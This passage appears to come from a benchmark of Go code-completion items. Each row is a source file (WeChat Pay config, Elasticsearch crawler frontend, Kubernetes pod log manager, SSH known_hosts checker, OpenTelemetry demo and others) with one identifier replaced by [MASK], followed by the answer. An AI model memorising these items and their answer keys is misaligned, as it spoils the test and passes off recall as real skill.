""crypto/tls"" ""crypto/x509"" ""io/ioutil"" ""time"" ) type WxPayConfig struct { AppId string MchId string AppSecret string SpbillCreateIp string NotifyUrl string TlsConfig *tls.Config Timeout time.Duration } // 支付配置 func NewWxPayConfig(appId, appSecret, mchId, notifyUrl, [MASK] string, tlsConfig *tls.Config) (config WxPayConfig) { config = WxPayConfig{} config.AppId = appId config.AppSecret = appSecret config.MchId = mchId config.NotifyUrl = notifyUrl config.SpbillCreateIp = [MASK] config.Timeout = 6 // 安全证书 if tlsConfig != nil { config.TlsConfig = tlsConfig } return } // 安全证书 导入顺序 cert、key、rootca func NewWxPayTlsConfig(paths ...string) (tlsConfig *tls.Config, err error) { tlsConfig = new(tls.Config) var cert tls.Certificate cert, err = tls.LoadX509KeyPair(paths[0], paths[1]) if err != nil { return } tlsConfig.Certificates = append(tlsConfig.Certificates, cert) if len(paths) >= 3 { var pemCerts []byte pemCerts, err = ioutil.ReadFile(paths[2]) if err != nil { return } tlsConfig.RootCAs = x509.NewCertPool() tlsConfig.RootCAs.AppendCertsFromPEM(pemCerts) } return } ",spbillCreateIp 434,"package controller import ( ""net/http"" ""strconv"" ""strings"" ""context"" ""reflect"" ""Mycrwaler/crawler-frontend/model"" ""Mycrwaler/crawler-frontend/view"" ""Mycrwaler/crawler-single/engine"" ""regexp"" ""gopkg.in/olivere/elastic.v5"" ) type SearchResultHandler struct { view view.SearchResultView client *elastic.Client } func CreateSearchResultHandler( [MASK] string) SearchResultHandler { client, err := elastic.NewClient( elastic.SetSniff(false)) if err != nil { panic(err) } return SearchResultHandler{ view: view.CreateSearchResultView( [MASK] ), client: client, } } func (h SearchResultHandler) ServeHTTP( w http.ResponseWriter, req *http.Request) { q := strings.TrimSpace(req.FormValue(""q"")) from, err := strconv.Atoi( req.FormValue(""from"")) if err != nil { from = 0 } page, err := h.getSearchResult(q, from) if err != nil { http.Error(w, err.Error(), http.StatusBadRequest) return } err = h.view.Render(w, page) if err != nil { http.Error(w, err.Error(), http.StatusBadRequest) return } } const pageSize = 10 func (h SearchResultHandler) getSearchResult( q string, from int) (model.SearchResult, error) { var result model.SearchResult result.Query = q resp, err := h.client. Search(""myelas2"").Type(""zhenai""). //Search(config.ElasticIndex). Query(elastic.NewQueryStringQuery( rewriteQueryString(q))). From(from). Do(context.Background()) if err != nil { return result, err } result.Hits = resp.TotalHits() result.Start = from //for _,v :=range resp.Each( // reflect.TypeOf(engine.Item{})){ // item:=v.(engine.Item) //} result.Items = resp.Each( reflect.TypeOf(engine.Item{})) if result.Start == 0 { result.PrevFrom = -1 } else { result.PrevFrom = (result.Start - 1) / pageSize * pageSize } result.NextFrom = result.Start + len(result.Items) return result, nil } //Sex:女 AND Age:<22 //localhost:9200/myelas2/zhenai/_search?q=Payload.Age:<30 AND Payload.Sex:女 // like ""Age"" to ""Payload.Age"" func rewriteQueryString(q string) string { re := regexp.MustCompile(`([A-Z][a-z]*):`) return re.ReplaceAllString(q, ""Payload.$1:"") } ",template 435,"/* Copyright © 2024 chmikata <> */ package cmd import ( ""encoding/json"" ""fmt"" ""github.com/chmikata/gh-pkg-cli/internal/application"" ""github.com/spf13/cobra"" ) var tagCmd = &cobra.Command{ Use: ""tag"", Short: ""Display container image tags"", Long: ""Display container image tags matching container name and depth"", PreRunE: func(cmd *cobra.Command, args []string) error { pattern, _ := cmd.Flags().GetString(""pattern"") if pattern != ""sem"" && pattern != ""sha"" { fmt.Println(""Pattern must be either 'sem' or 'sha'"") return fmt.Errorf(""invalid pattern"") } depth, _ := cmd.Flags().GetInt(""depth"") if depth < 0 { fmt.Println(""Depth must be a positive integer"") return fmt.Errorf(""invalid depth"") } semRange, _ := cmd.Flags().GetString(""range"") if semRange != ""major"" && semRange != ""minor"" && semRange != ""all"" { fmt.Println(""Range must be either 'major', 'minor', or 'all'"") return fmt.Errorf(""invalid range"") } if pattern == ""sha"" && (semRange == ""major"" || semRange == ""minor"") { fmt.Println(""Range must be 'all' when pattern is 'sha'"") return fmt.Errorf(""invalid range"") } return nil }, RunE: func(cmd *cobra.Command, args []string) error { org, _ := rootCmd.PersistentFlags().GetString(""org"") token, _ := rootCmd.PersistentFlags().GetString(""token"") matcher, _ := rootCmd.PersistentFlags().GetString(""matcher"") pattern, _ := cmd.Flags().GetString(""pattern"") depth, _ := cmd.Flags().GetInt(""depth"") semRange, _ := cmd.Flags().GetString(""range"") [MASK] := application.NewRegistry(org, token) tags, err := [MASK] .GetTags(matcher, pattern, depth, semRange) if err != nil { fmt.Println(err) return err } v, err := json.Marshal(tags) if err != nil { fmt.Println(err) return err } fmt.Println(string(v)) return nil }, } func init() { tagCmd.Flags().StringP(""pattern"", ""p"", """", ""Pattern to sem or sha match image to tags"") tagCmd.Flags().IntP(""depth"", ""d"", 0, ""Depth of tags to display"") tagCmd.Flags().StringP(""range"", ""r"", """", ""Pattern to major or minor or all match image to tags"") tagCmd.MarkFlagRequired(""pattern"") tagCmd.MarkFlagRequired(""depth"") tagCmd.MarkFlagRequired(""range"") rootCmd.AddCommand(tagCmd) } ",registry 436,"package manager import ( ""context"" ""log/slog"" ""os"" ""sync"" ""time"" ""github.com/krateoplatformops/frostbeat/internal/streamer"" ""github.com/krateoplatformops/frostbeat/internal/writers"" corev1 ""k8s.io/api/core/v1"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ""k8s.io/apimachinery/pkg/watch"" ""k8s.io/client-go/kubernetes"" ) const ( defaultLogChanSize = 500 defaultBatchSize = 20 defaultBatchPeriod = 5 * time.Second defaultRetryChanSize = 10 ) type PodLogManager struct { clientset *kubernetes.Clientset namespace string labelSelector string batchPeriod time.Duration batchSize int logChan chan string retryChan chan []string writer writers.LogWriter ctx context.Context cancel context.CancelFunc streamCancelMu sync.Mutex streamCancelMap map[string]context.CancelFunc wg *sync.WaitGroup log *slog.Logger } type PodLogManagerOptions struct { Clientset *kubernetes.Clientset Namespace string LabelSelector string BatchPeriod time.Duration BatchSize int LogChanSize int RetryChanSize int Logger *slog.Logger } func NewPodLogManager(opts PodLogManagerOptions) *PodLogManager { if opts.Logger == nil { opts.Logger = slog.New(slog.NewJSONHandler(os.Stderr, &slog.HandlerOptions{ Level: slog.LevelDebug, })) } if opts.BatchSize < defaultBatchSize { opts.BatchSize = defaultBatchSize } if opts.BatchPeriod <= 1*time.Second { opts.BatchPeriod = defaultBatchPeriod } if opts.LogChanSize < defaultLogChanSize { opts.LogChanSize = defaultLogChanSize } opts.RetryChanSize = max(int(opts.LogChanSize/100), defaultRetryChanSize) return &PodLogManager{ clientset: opts.Clientset, namespace: opts.Namespace, labelSelector: opts.LabelSelector, batchPeriod: opts.BatchPeriod, batchSize: opts.BatchSize, logChan: make(chan string, opts.LogChanSize), retryChan: make(chan []string, opts.RetryChanSize), streamCancelMap: make(map[string]context.CancelFunc), log: opts.Logger.With( slog.String(""component"", ""pod-logs-manager""), slog.String(""namespace"", opts.Namespace), ), } } // Start starts everything (watcher + writer + retry handler) func (m *PodLogManager) Start(ctx context.Context, wg *sync.WaitGroup, writer writers.LogWriter) error { m.ctx, m.cancel = context.WithCancel(ctx) m.wg = wg m.writer = writer m.wg.Add(1) go func() { defer m.wg.Done() m.startLogWriter() }() m.wg.Add(1) go func() { defer m.wg.Done() m.startRetryHandler() }() m.wg.Add(1) go func() { defer m.wg.Done() m.monitorPressure() }() return m.startPodWatcher() } func (m *PodLogManager) Shutdown() { m.log.Info(""shutting down"") m.cancel() m.streamCancelMu.Lock() for name, cancel := range m.streamCancelMap { m.log.Info(""stopping logs streamer for pod"", slog.Any(""name"", name)) cancel() } m.streamCancelMu.Unlock() close(m.logChan) close(m.retryChan) } // startPodWatcher starts watcher and streamer func (m *PodLogManager) startPodWatcher() error { pods, err := m.clientset.CoreV1().Pods(m.namespace).List(m.ctx, metav1.ListOptions{ LabelSelector: m.labelSelector, }) if err != nil { return err } for _, pod := range pods.Items { if pod.Status.Phase == corev1.PodRunning { m.startStreamer(pod.Name) } } go m.watchPods() return nil } // watcher loop func (m *PodLogManager) watchPods() { watcher, err := m.clientset.CoreV1().Pods(m.namespace).Watch(m.ctx, metav1.ListOptions{ LabelSelector: m.labelSelector, }) if err != nil { m.log.Error(""unable to watch pods"", slog.String(""selector"", m.labelSelector), slog.Any(""err"", err)) return } defer watcher.Stop() for { select { case event, ok := <-watcher.ResultChan(): if !ok { m.log.Warn(""watcher result channel was closed, stopping pods watcher"") return } m.handlePodEvent(event) case <-m.ctx.Done(): m.log.Info(""context done, stop watching"") return } } } func (m *PodLogManager) handlePodEvent(event watch.Event) { pod, ok := event.Object.(*corev1.Pod) if !ok { m.log.Warn(""discarding invalid pod event"") return } switch event.Type { case watch.Added, watch.Modified: if pod.Status.Phase == corev1.PodRunning { m.startStreamer(pod.Name) } else { m.stopStreamer(pod.Name) } case watch.Deleted: m.stopStreamer(pod.Name) case watch.Error: m.log.Error(""received error event from pod watcher"", slog.Any(""event"", event)) } } func (m *PodLogManager) startStreamer(podName string) { m.streamCancelMu.Lock() defer m.streamCancelMu.Unlock() if _, exists := m.streamCancelMap[podName]; exists { return } podCtx, [MASK] := context.WithCancel(m.ctx) m.streamCancelMap[podName] = [MASK] streamer := streamer.NewPodLogStreamer(podCtx, streamer.PodLogStreamerOptions{ Clientset: m.clientset, Namespace: m.namespace, PodName: podName, Output: m.logChan, }) m.wg.Add(1) go func() { defer m.wg.Done() streamer.Start() m.streamCancelMu.Lock() delete(m.streamCancelMap, podName) m.streamCancelMu.Unlock() }() } func (m *PodLogManager) stopStreamer(podName string) { m.streamCancelMu.Lock() defer m.streamCancelMu.Unlock() if cancel, exists := m.streamCancelMap[podName]; exists { cancel() delete(m.streamCancelMap, podName) } } // startLogWriter handle batch writes with retry func (m *PodLogManager) startLogWriter() { ticker := time.NewTicker(m.batchPeriod) defer ticker.Stop() batch := make([]string, 0, m.batchSize) for { select { case line, ok := <-m.logChan: if !ok { // Channel closed, flush and exit if len(batch) > 0 { _ = m.writer.WriteBatch(batch) } return } batch = append(batch, line) if len(batch) >= m.batchSize { if err := m.writer.WriteBatch(batch); err != nil { m.retryChan <- batch } batch = batch[:0] } case <-ticker.C: if len(batch) > 0 { if err := m.writer.WriteBatch(batch); err != nil { m.retryChan <- batch } batch = batch[:0] } case <-m.ctx.Done(): // Flush before exit if len(batch) > 0 { _ = m.writer.WriteBatch(batch) } return } } } // startRetryHandler handles retries func (m *PodLogManager) startRetryHandler() { for { select { case batch, ok := <-m.retryChan: if !ok { return } m.log.Info(""Retrying batch..."") for _, line := range batch { m.logChan <- line } case <-m.ctx.Done(): return } } } func (m *PodLogManager) monitorPressure() { ticker := time.NewTicker(2 * time.Second) defer ticker.Stop() for { select { case <-ticker.C: usage := float64(len(m.logChan)) / float64(cap(m.logChan)) if usage > 0.8 { m.log.Warn(""logChan nearing capacity"", slog.Float64(""usage"", usage)) } case <-m.ctx.Done(): return } } } ",podCancel 437,"/* Copyright AppsCode Inc. and Contributors. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cmds import ( ""fmt"" ""os/exec"" ""github.com/spf13/cobra"" ""gomodules.xyz/signals"" ""gomodules.xyz/x/ioutil"" ""k8s.io/klog/v2"" ""kmodules.xyz/client-go/meta"" ""kmodules.xyz/client-go/tools/fsnotify"" ) var ( watchFiles []string watchDir string reloadCmd string ) func NewRunCmd() *cobra.Command { cmd := &cobra.Command{ Use: ""run"", Short: ""Runs fsloader"", Run: func(cmd *cobra.Command, args []string) { // set up signals, so we handle the first shutdown signal gracefully stopCh := signals.SetupSignalHandler() var err error if meta.PossiblyInCluster() { watcher := fsnotify.Watcher{WatchDir: watchDir, Reload: reload} err = watcher.Run(stopCh) } else { watcher := ioutil.Watcher{WatchDir: watchDir, WatchFiles: watchFiles, Reload: reload} err = watcher.Run(stopCh) } if err != nil { klog.ErrorS(err, ""watcher failed"") } <-stopCh }, } cmd.Flags().StringSliceVar(&watchFiles, ""watch-files"", nil, ""Files to be watched"") cmd.Flags().StringVar(&watchDir, ""watch-dir"", """", ""Dir that contains the files to be watched"") cmd.Flags().StringVar(&reloadCmd, ""reload-cmd"", """", ""Command to be executed when files are modified"") return cmd } func reload() error { [MASK] , err := exec.Command(""sh"", ""-c"", reloadCmd).CombinedOutput() msg := fmt.Sprintf(""%v"", string( [MASK] )) klog.Infoln(""Output:\n"", msg) if err != nil { klog.Errorln(""failed to run cmd"") return fmt.Errorf(""error restarting %v: %v"", msg, err) } return nil } ",output 438,"package main import ( ""context"" ""fmt"" ""log"" ""net/http"" ""os"" ""time"" ""github.com/gorilla/mux"" ""github.com/redis/go-redis/extra/redisotel/v9"" ""github.com/redis/go-redis/v9"" ""go.opentelemetry.io/contrib/instrumentation/github.com/gorilla/mux/otelmux"" ""go.opentelemetry.io/otel"" ""go.opentelemetry.io/otel/attribute"" ""go.opentelemetry.io/otel/exporters/otlp/otlptrace"" ""go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp"" ""go.opentelemetry.io/otel/sdk/resource"" sdktrace ""go.opentelemetry.io/otel/sdk/trace"" semconv ""go.opentelemetry.io/otel/semconv/v1.17.0"" ""go.opentelemetry.io/otel/trace"" ) const ( LUMIGO = ""ga-otlp.lumigo-tracer-edge.golumigo.com"" ) var ( rdb *redis.Client tracer trace.Tracer ) func handleHealth(w http.ResponseWriter, r *http.Request) { fmt.Fprintln(w, ""OK"") } func handleHome(w http.ResponseWriter, r *http.Request) { _, span := tracer.Start(r.Context(), ""home"") defer span.End() span.AddEvent(""foo event"") span.AddEvent(""info"", trace.WithAttributes( attribute.String(""key"", ""val""), )) fmt.Fprintln(w, ""Key Value Store v1.0.0"") time.Sleep(200 * time.Millisecond) } func handleAdd(w http.ResponseWriter, r *http.Request) { if r.Method == ""PUT"" { vars := mux.Vars(r) key := vars[""key""] val := vars[""value""] _, err := rdb.Set(r.Context(), key, val, 0).Result() if err != nil { w.WriteHeader(http.StatusBadRequest) fmt.Fprintf(w, ""Error %v\n"", err) } span := trace.SpanFromContext(r.Context()) span.AddEvent(""foo event"") span.SetAttributes(attribute.String(""foo"", ""bar"")) time.Sleep(50 * time.Millisecond) fmt.Fprintln(w, ""OK"") } else { w.WriteHeader(http.StatusBadRequest) fmt.Fprintln(w, ""Wrong method"") } } func handleList(w http.ResponseWriter, r *http.Request) { if r.Method == ""GET"" { keys, err := rdb.Keys(r.Context(), ""*"").Result() if err != nil { w.WriteHeader(http.StatusInternalServerError) fmt.Fprintf(w, ""Error %v\n"", err) } else { for _, key := range keys { fmt.Fprintln(w, key) } } } else { w.WriteHeader(http.StatusBadRequest) fmt.Fprintln(w, ""Wrong method"") } } func handleFetch(w http.ResponseWriter, r *http.Request) { if r.Method == ""GET"" { vars := mux.Vars(r) key := vars[""key""] val, err := rdb.Get(r.Context(), key).Result() if err != nil { w.WriteHeader(http.StatusNotFound) fmt.Fprintln(w, ""Not found"") } else { fmt.Fprintln(w, val) } } else { w.WriteHeader(http.StatusBadRequest) fmt.Fprintln(w, ""Wrong method"") } } func handleDelete(w http.ResponseWriter, r *http.Request) { if r.Method == ""DEL"" { vars := mux.Vars(r) key := vars[""key""] _, err := rdb.Del(r.Context(), key).Result() if err != nil { w.WriteHeader(http.StatusInternalServerError) fmt.Fprintf(w, ""Error %v\n"", err) } else { fmt.Fprintln(w, ""OK"") } } else { w.WriteHeader(http.StatusBadRequest) fmt.Fprintln(w, ""Wrong method"") } } func redisConnect() { for { log.Println(""Connection to Redis"") rdb = redis.NewClient(&redis.Options{ Addr: ""redis:6379"", Password: """", DB: 0, }) ctx := context.Background() _, err := rdb.Ping(ctx).Result() if err != nil { log.Printf(""Not connected %v\n"", err) time.Sleep(5 * time.Second) } else { log.Println(""Connected to Redis"") break } } } func appResource() *resource.Resource { return resource.NewWithAttributes( semconv.SchemaURL, semconv.ServiceName(""go-lumigo""), ) } func startTracer(token string) error { lumigoToken := fmt.Sprintf(""LumigoToken %s"", token) ctx := context.Background() options := []otlptracehttp.Option{ otlptracehttp.WithEndpoint(LUMIGO), otlptracehttp.WithHeaders(map[string]string{""Authorization"": lumigoToken}), } client := otlptracehttp.NewClient(options...) exporter, err := otlptrace.New(ctx, client) if err != nil { return fmt.Errorf(""error creating exporter %v"", err) } /* exporter, err := stdouttrace.New(stdouttrace.WithPrettyPrint()) if err != nil { return fmt.Errorf(""error creating exporter %v"", err) } */ traceProvider := sdktrace.NewTracerProvider( sdktrace.WithBatcher(exporter), sdktrace.WithResource(appResource()), ) otel.SetTracerProvider(traceProvider) // save tracer in global variable tracer = traceProvider.Tracer(""tracer"") return nil } func main() { fmt.Println(""Starting"") token, [MASK] := os.LookupEnv(""LUMIGO_TOKEN"") if ! [MASK] || token == """" { log.Println(""LUMIGO_TOKEN not set. Traces will not be received"") } redisConnect() err := startTracer(token) if err != nil { log.Println(""Faied to start tracer. You are flying blind. Good luck"") } else { // add tracing for Redis if err := redisotel.InstrumentTracing(rdb); err != nil { log.Printf(""Can not trace Redis: %v\n"", err) } } r := mux.NewRouter() r.Use(otelmux.Middleware(""go-lumigo"")) r.HandleFunc(""/"", handleHome) r.HandleFunc(""/health"", handleHealth) r.HandleFunc(""/add/{key}/{value}"", handleAdd) r.HandleFunc(""/fetch/{key}"", handleFetch) r.HandleFunc(""/list"", handleList) r.HandleFunc(""/del/{key}"", handleDelete) http.Handle(""/"", r) err = http.ListenAndServe("":8080"", r) log.Fatal(err) } ",flag 439,"package conf import ( ""fmt"" ""os"" ""path/filepath"" ""github.com/astaxie/beego"" ) const ( // 默认的资源根目录为项目下的resource目录 DefaultResourceHome = ""resource"" // 资源根目录环境变量名称 EnvResourceHome = ""RESOURCE_HOME"" ) var ( // 项目根目录 ProjectHome string // 系统资源目录 ResourceHome string ) // 加载所有除conf/app.conf文件之外的配置信息 func LoadAllConf() { LoadResourceHome() } // 加载系统资源目录路径 func LoadResourceHome() { if res := os.Getenv(EnvResourceHome); len(res) > 0 { ResourceHome = filepath.Clean(res) } else { ResourceHome = filepath.Clean(ProjectHome) + string(os.PathSeparator) + DefaultResourceHome } beego.Info(fmt.Sprintf(""conf(ResourceHome): %s"", ResourceHome)) // 创建必要的资源目录 [MASK] := ResourceHome + string(os.PathSeparator) + ""image"" + string(os.PathSeparator) + ""source"" err := os.MkdirAll( [MASK] , 0755) if err != nil { beego.Error(fmt.Sprintf(""os.MkdirAll(%s, 0755) err:%s"", [MASK] , err)) } } ",srcImgDir 440,"package knownhosts import ( ""bufio"" ""bytes"" ""code.google.com/p/gosshold/ssh"" ""crypto/hmac"" ""crypto/sha1"" ""encoding/base64"" ""errors"" ""fmt"" ""io"" ""net"" ""os"" ""os/user"" ""path/filepath"" ""strings"" ""text/template"" ) type KnownHostsKeyAdder interface { AddHost(host string, algorithm string, key []byte, verbose bool) error } type KnownHostsKeyChecker struct { KnownHosts map[string][]byte RevokedHosts map[string][]byte CAHosts map[string][]byte verbose bool KeyAdder KnownHostsKeyAdder errPipe io.Writer } type KnownHostsKeyAdderNoop struct { } func (kan KnownHostsKeyAdderNoop) AddHost(host string, algorithm string, key []byte, verbose bool) error { return errors.New(""Key not found for ""+host+"". 'add key' not implemented yet in scp-go"") } type KnownHostsKeyAdderPrompt struct { } func (kan KnownHostsKeyAdderPrompt) AddHost(host string, algorithm string, key []byte, verbose bool) error { fmt.Printf(""Key not found for host %s. Accept? [Y/n]\n"", host) confirm := """" fmt.Scanf(""%s"", &confirm) if confirm == """" || confirm == ""y"" || confirm == ""Y"" { return AddKnownHost(host, algorithm, key, true) } else { return errors.New(""Not adding key or connecting"") } } func checkHashedHost(knownHost string, host string) error { if strings.HasPrefix(knownHost, ""|1|"") { parts := strings.Split(knownHost, ""|"") if len(parts) > 3 { salt := parts[2] knownHash := parts[3] //hash check saltDecoded, err := base64.StdEncoding.DecodeString(salt) //salt decoded if err != nil { return err } h := hmac.New(sha1.New, saltDecoded) _, err = h.Write([]byte(host)) if err != nil { return err } out := h.Sum(nil) hashed := base64.StdEncoding.EncodeToString(out) if hashed == knownHash { return nil } else { //ignore line } } else { fmt.Printf(""Invalid hashed host line\n"") } } else { fmt.Printf(""host line not hashed\n"") } return errors.New(""Not matched"") } func parseWireKey(bs []byte, verbose bool) ssh.PublicKey { pk, rest, ok := ssh.ParsePublicKey(bs) if verbose { fmt.Printf(""rest: %v, ok: %v\n"", rest, ok) } return pk } func readHostFileKey(bs []byte, verbose bool) ssh.PublicKey { pk, comment, options, rest, ok := ssh.ParseAuthorizedKey(bs) if verbose { fmt.Printf(""comment: %s, options: %v, rest: %v, ok: %v\n"", comment, options, rest, ok) } return pk } func (khkc KnownHostsKeyChecker) IsRevoked(hostPKWireFormat []byte) error { for k, existingKey := range khkc.RevokedHosts { existingPublicKey := readHostFileKey(existingKey, khkc.verbose) existingPKWireFormat := existingPublicKey.Marshal() if bytes.Equal(hostPKWireFormat, existingPKWireFormat) { return errors.New(""Key has been revoked (as host '""+k+""')"") } } return nil } func (khkc KnownHostsKeyChecker) matchHostWithHashSupport(host string) ([]byte, error) { existingKey, hostFound := khkc.KnownHosts[host] if !hostFound { //check by hash for k, v := range khkc.KnownHosts { err := checkHashedHost(k, host) if err != nil { //not matching //fmt.Printf(""checkHashedHost failed"") } else { //, v, hostKey) return v, nil } } } else { return existingKey, nil } return nil, errors.New(""Not found"") } func (khkc KnownHostsKeyChecker) Check(addr string, remote net.Addr, algorithm string, hostKey []byte) error { hostPublicKey := parseWireKey(hostKey, khkc.verbose) hostPKWireFormat := hostPublicKey.Marshal() err := khkc.IsRevoked(hostPKWireFormat) if err != nil { return err } [MASK] := remote.String() hostport := strings.SplitN( [MASK] , "":"", 2) host := hostport[0] existingKey, err := khkc.matchHostWithHashSupport(host) if err != nil { err = khkc.KeyAdder.AddHost(host, algorithm, hostKey, khkc.verbose) if err != nil { return err } //load again existingKey, err = khkc.matchHostWithHashSupport(host) if err != nil { return err } } existingPublicKey := readHostFileKey(existingKey, khkc.verbose) existingPKWireFormat := existingPublicKey.Marshal() if bytes.Equal(hostPKWireFormat, existingPKWireFormat) { if khkc.verbose { fmt.Printf(""OK keys match\n"") } return nil } else { tpl := `@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY! Someone could be eavesdropping on you right now (man-in-the-middle attack)! It is also possible that a host key has just been changed. The fingerprint for the {{.HostKeyType}} key sent by the remote host is {{.HostKeyFingerprint}}. Please contact your system administrator. Add correct host key in {{.KnownHostsFile}} to get rid of this message. Offending {{.HostKeyType}} key in {{.KnownHostsFile}}:{{.Line}} remove with: ssh-keygen -f ""{{.KnownHostsFile}}"" -R {{.Host}} {{.HostKeyType}} host key for {{.Host}} has changed and you have requested strict checking. ` t := template.Must(template.New(""error"").Parse(tpl)) r := struct { HostKeyType string HostKeyFingerprint string KnownHostsFile string Host string Line int } { ""ECDSA"", ""XX:XX:XX:XX"", ""/blah/file"", host, 1, } err := t.Execute(khkc.errPipe, r) if err != nil { fmt.Fprintf(khkc.errPipe, ""Error generating error message: %v\n"", err) } return errors.New(""Host key verification failed"") } } func AddKnownHost(host string, algorithm string, key []byte, verbose bool) error { file, err := OpenKnownHostsWriter(verbose) if err != nil { return err } keyEncoded := base64.StdEncoding.EncodeToString(key) _, err = file.WriteString(fmt.Sprintf(""%s %s %s\n"", host, algorithm, keyEncoded)) if err != nil { return err } return file.Close() } func OpenKnownHostsWriter(verbose bool) (*os.File, error) { sshDir := filepath.Join(userHomeDir(verbose), "".ssh"") _, err := os.Stat(sshDir) if os.IsNotExist(err) { if verbose { fmt.Printf(""%s does not exist. Create\n"", sshDir) } err := os.Mkdir(sshDir, 0700) if err != nil { fmt.Printf(""Could not create %s\n"", sshDir) return nil, err } } knownHostsFile := filepath.Join(sshDir, ""known_hosts"") flags := os.O_RDWR|os.O_APPEND _, err = os.Stat(knownHostsFile) if os.IsNotExist(err) { if verbose { fmt.Printf(""%s does not exist. Create\n"", knownHostsFile) } flags = flags|os.O_CREATE } else if err != nil { return nil, err } return os.OpenFile(knownHostsFile, flags, 0600) } func LoadKnownHosts(verbose bool, errPipe io.Writer) KnownHostsKeyChecker { knownHosts := map[string][]byte{} revokedHosts := map[string][]byte{} caHosts := map[string][]byte{} khkc := KnownHostsKeyChecker{knownHosts, revokedHosts, caHosts, verbose, KnownHostsKeyAdderPrompt{}, errPipe} sshDir := filepath.Join(userHomeDir(verbose), "".ssh"") _, err := os.Stat(sshDir) if os.IsNotExist(err) { fmt.Printf(""%s does not exist\n"", sshDir) err := os.Mkdir(sshDir, 0700) if err != nil { fmt.Printf(""Could not create %s\n"", sshDir) } return khkc } knownHostsFile := filepath.Join(sshDir, ""known_hosts"") _, err = os.Stat(knownHostsFile) if os.IsNotExist(err) { fmt.Printf(""%s does not exist\n"", knownHostsFile) return khkc } file, err := os.Open(knownHostsFile) if err != nil { fmt.Printf(""Could not open %s\n"", knownHostsFile) return khkc } defer file.Close() scanner := bufio.NewScanner(file) for scanner.Scan() { line := scanner.Text() if len(line) == 0 || strings.HasPrefix(line, ""#"") { //ignore } else { parts := strings.SplitN(line, "" "", 2) if len(parts) == 2 { //check for revoked / ca / ... isRevoked := false isCa := false if parts[0] == ""@revoked"" { isRevoked = true parts = strings.SplitN(parts[1], "" "", 2) } if parts[0] == ""@cert-authority"" { isCa = true parts = strings.SplitN(parts[1], "" "", 2) } if verbose { fmt.Printf(""Known host %s, type: %s\n"", parts[0], parts[1]) // Println will add back the final '\n' } pk, comment, options, rest, ok := ssh.ParseAuthorizedKey([]byte(parts[1])) if ok { if verbose { fmt.Printf(""OK known host key for %s |%s| comment: %s, options: %v, rest: %v\n"", parts[0], base64.StdEncoding.EncodeToString(pk.Marshal()), comment, options, rest) } if verbose { fmt.Printf(""Setting %s = %s\n"", parts[0], parts[1]) } if isRevoked { revokedHosts[parts[0]] = []byte(parts[1]) } else if isCa { caHosts[parts[0]] = []byte(parts[1]) } else { knownHosts[parts[0]] = []byte(parts[1]) } } else { fmt.Printf(""Could not decode hostkey %s\n"", parts[1]) } } else { fmt.Printf(""Unparseable host %s\n"", line) } } } return khkc } func userHomeDir(verbose bool) string { usr, err := user.Current() if err != nil { fmt.Printf(""Could not get home directory: %s\n"", err) return os.Getenv(""HOME"") } if verbose { fmt.Printf(""user dir: %s\n"", usr.HomeDir) } return usr.HomeDir } ",remoteAddr 441,"package main import ( ""context"" ""errors"" ""testing"" ""github.com/stretchr/testify/assert"" ""github.com/stretchr/testify/require"" ""go.opentelemetry.io/collector/component"" ""go.opentelemetry.io/collector/component/componenttest"" ""go.opentelemetry.io/collector/extension"" ""go.opentelemetry.io/collector/extension/extensiontest"" ""github.com/lumigo-io/lumigo-otel-collector-contrib/extension/lumigoauthextension"" ) func TestDefaultExtensions(t *testing.T) { allFactories, err := components() require.NoError(t, err) extFactories := allFactories.Extensions tests := []struct { getConfigFn getExtensionConfigFn extension component.Type skipLifecycle bool }{ { extension: component.MustNewType(""lumigoauthextension""), getConfigFn: func() component.Config { cfg := extFactories[component.MustNewType(""lumigoauthextension"")].CreateDefaultConfig().(*lumigoauthextension.Config) cfg.Token = """" return cfg }, }, } extensionCount := 0 [MASK] := map[component.Type]struct{}{} for k := range extFactories { [MASK] [k] = struct{}{} } for _, tt := range tests { _, ok := extFactories[tt.extension] if !ok { // not part of the distro, skipping. continue } delete( [MASK] , tt.extension) extensionCount++ t.Run(string(tt.extension.String()), func(t *testing.T) { factory := extFactories[tt.extension] assert.Equal(t, tt.extension, factory.Type()) t.Run(""shutdown"", func(t *testing.T) { verifyExtensionShutdown(t, factory, tt.getConfigFn) }) t.Run(""lifecycle"", func(t *testing.T) { if tt.skipLifecycle { t.SkipNow() } verifyExtensionLifecycle(t, factory, tt.getConfigFn) }) }) } assert.Len(t, extFactories, extensionCount, ""All extensions must be added to the lifecycle tests"", [MASK] ) } // getExtensionConfigFn is used customize the configuration passed to the verification. // This is used to change ports or provide values required but not provided by the // default configuration. type getExtensionConfigFn func() component.Config // verifyExtensionLifecycle is used to test if an extension type can handle the typical // lifecycle of a component. The getConfigFn parameter only need to be specified if // the test can't be done with the default configuration for the component. func verifyExtensionLifecycle(t *testing.T, factory extension.Factory, getConfigFn getExtensionConfigFn) { ctx := context.Background() host := componenttest.NewNopHost() extCreateSet := extensiontest.NewNopCreateSettings() extCreateSet.ReportStatus = func(event *component.StatusEvent) { require.NoError(t, event.Err()) } if getConfigFn == nil { getConfigFn = factory.CreateDefaultConfig } firstExt, err := factory.CreateExtension(ctx, extCreateSet, getConfigFn()) require.NoError(t, err) require.NoError(t, firstExt.Start(ctx, host)) require.NoError(t, firstExt.Shutdown(ctx)) secondExt, err := factory.CreateExtension(ctx, extCreateSet, getConfigFn()) require.NoError(t, err) require.NoError(t, secondExt.Start(ctx, host)) require.NoError(t, secondExt.Shutdown(ctx)) } // verifyExtensionShutdown is used to test if an extension type can be shutdown without being started first. func verifyExtensionShutdown(tb testing.TB, factory extension.Factory, getConfigFn getExtensionConfigFn) { ctx := context.Background() extCreateSet := extensiontest.NewNopCreateSettings() if getConfigFn == nil { getConfigFn = factory.CreateDefaultConfig } e, err := factory.CreateExtension(ctx, extCreateSet, 